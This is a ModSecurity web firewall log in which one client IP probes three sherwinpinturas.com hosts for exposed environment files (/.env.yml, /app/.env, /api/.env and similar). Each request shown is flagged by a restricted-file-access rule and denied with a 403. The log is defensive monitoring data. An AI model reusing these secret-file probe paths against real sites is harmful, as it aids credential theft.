[Sun Oct 25 02:18:56.313076 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fUFyqe9jgJ5nfJHB7VQAAAAo"]
[Sun Oct 25 02:18:56.616112 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUFTnwNJm6o1fQZIhTgAAAAI"]
[Sun Oct 25 02:18:56.616453 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUFTnwNJm6o1fQZIhTgAAAAI"]
[Sun Oct 25 02:18:56.616899 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUFTnwNJm6o1fQZIhTgAAAAI"]
[Sun Oct 25 02:18:56.618157 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUHqPPT_6tJCMTRvt_wAAAAs"]
[Sun Oct 25 02:18:56.618316 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUHqPPT_6tJCMTRvt_wAAAAs"]
[Sun Oct 25 02:18:56.618555 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUHqPPT_6tJCMTRvt_wAAAAs"]
[Sun Oct 25 02:18:56.620770 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUFyqe9jgJ5nfJHB7VgAAAAo"]
[Sun Oct 25 02:18:56.620943 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUFyqe9jgJ5nfJHB7VgAAAAo"]
[Sun Oct 25 02:18:56.621163 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUFyqe9jgJ5nfJHB7VgAAAAo"]
[Sun Oct 25 02:18:56.895253 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUFTnwNJm6o1fQZIhTwAAAAI"]
[Sun Oct 25 02:18:56.895526 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUFTnwNJm6o1fQZIhTwAAAAI"]
[Sun Oct 25 02:18:56.895898 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUFTnwNJm6o1fQZIhTwAAAAI"]
[Sun Oct 25 02:18:56.904092 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUHqPPT_6tJCMTRvuAAAAAAs"]
[Sun Oct 25 02:18:56.904237 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUHqPPT_6tJCMTRvuAAAAAAs"]
[Sun Oct 25 02:18:56.904471 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUHqPPT_6tJCMTRvuAAAAAAs"]
[Sun Oct 25 02:18:56.905559 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUFyqe9jgJ5nfJHB7VwAAAAo"]
[Sun Oct 25 02:18:56.905705 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUFyqe9jgJ5nfJHB7VwAAAAo"]
[Sun Oct 25 02:18:56.905953 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at2fUFyqe9jgJ5nfJHB7VwAAAAo"]
[Sun Oct 25 02:18:57.146264 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WAAAAAo"]
[Sun Oct 25 02:18:57.146613 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WAAAAAo"]
[Sun Oct 25 02:18:57.147025 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WAAAAAo"]
[Sun Oct 25 02:18:57.148965 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUAAAAAI"]
[Sun Oct 25 02:18:57.149184 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUAAAAAI"]
[Sun Oct 25 02:18:57.149462 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUAAAAAI"]
[Sun Oct 25 02:18:57.210700 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAQAAAAs"]
[Sun Oct 25 02:18:57.210937 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAQAAAAs"]
[Sun Oct 25 02:18:57.211288 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAQAAAAs"]
[Sun Oct 25 02:18:57.619350 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUQAAAAI"]
[Sun Oct 25 02:18:57.619661 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUQAAAAI"]
[Sun Oct 25 02:18:57.620021 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUVTnwNJm6o1fQZIhUQAAAAI"]
[Sun Oct 25 02:18:57.621235 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAgAAAAs"]
[Sun Oct 25 02:18:57.621408 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAgAAAAs"]
[Sun Oct 25 02:18:57.621676 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAgAAAAs"]
[Sun Oct 25 02:18:57.698532 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WQAAAAo"]
[Sun Oct 25 02:18:57.698880 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WQAAAAo"]
[Sun Oct 25 02:18:57.699271 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at2fUVyqe9jgJ5nfJHB7WQAAAAo"]
[Sun Oct 25 02:18:57.850417 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAwAAAAs"]
[Sun Oct 25 02:18:57.850696 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at2fUXqPPT_6tJCMTRvuAwAAAAs"]
